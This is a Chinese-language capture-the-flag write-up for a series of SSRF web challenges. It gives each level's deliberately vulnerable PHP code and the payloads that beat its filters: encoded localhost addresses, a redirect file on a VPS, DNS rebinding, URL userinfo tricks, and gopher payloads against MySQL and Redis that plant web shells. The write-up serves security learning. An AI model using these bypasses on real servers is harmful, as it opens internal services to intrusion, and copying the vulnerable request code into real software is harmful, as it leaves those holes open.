web351
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>
curl_exec显然是直接SSRF,url=http://127.0.0.1/flag.php,直接POST就行了
WEB352
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127.0.0/')){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
绕过很多,列举几种
127.0.1 、127.1、 127。0.0.1(127开头的都行)
url=http://0/flag.php
url=http://0.0.0.0/flag.php
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
url=http://127.1/flag.php
进制转换也行,转进制:https://tool.520101.com/wangluo/jinzhizhuanhuan/
WEB353
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127\.0\.|\。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
url=http://0/flag.php
WEB354
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|1|0|。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
应该是不跟随重定向,我试了短网址还有php设置header都没出,域名查DNS记录不是重定向,这个可以。
借用大佬提供的域名,http://sudo.cc->127.0.0.1
WEB355、356
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=3)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
url=http://0/flag.php
(web355用http://127.1/flag.php也行,长度限制是5)
WEB357
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $ip = gethostbyname($x['host']); echo '</br>'.$ip.'</br>'; if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('ip!'); } echo file_get_contents($_POST['url']); } else{ die('scheme'); } ?>
验证了IP,应该是要用正常IP,302重定向,直接在你的VPS上写一个重定向的php文件
<?php header("Location: http://127.0.0.1/flag.php"); ?>
然后输入你的url就行了
还有一种方法,这道题是验证IP,那我们完全可以让它验证的IP和实际访问的IP不一样~
给个DNS重绑定网站:rbndr.us dns rebinding service (cmpxchg8b.com)
详解看这篇:浅谈DNS重绑定漏洞 - 知乎 (zhihu.com)
简单来说,DNS重绑定就是让每一次访问域名,解析得到的都是不同的IP。
针对这道题,我们想实现的目标就是,在验证的时候,gethostbyname函数访问了域名,得到的是正常的IP,通过验证;但是在file_get_contents的时候,得到的是127.0.0.1本地IP
当然这个是有几率的,多试几次就ok了~
WEB358
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ echo file_get_contents($url); }
正则要求以http://ctf开头,show结尾
url=http://[email protected]/flag.php?show
其中,@前面是用户名,真正的host是127.0.0.1,?后面是参数,对请求内容无影响
WEB359
提示是SSRF打无密码mysql,显然考虑gopher协议,抓包发现一个returl参数,多半是SSRF的网址
直接用gopherus生成payload都不说了
关键是在传payload的时候还需要一次url编码!抓包可以看出来的
真的要注意细节,从头到尾要重新看一看,多观察...
抓包发SSRF直接访问1.php即可拿到shell,flag在/flag.txt里面
WEB360
一个裸的SSRF
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>
说要打redis,一样直接生成payload,url参数发送,注意url编码
访问shell.php拿到shell
文章评论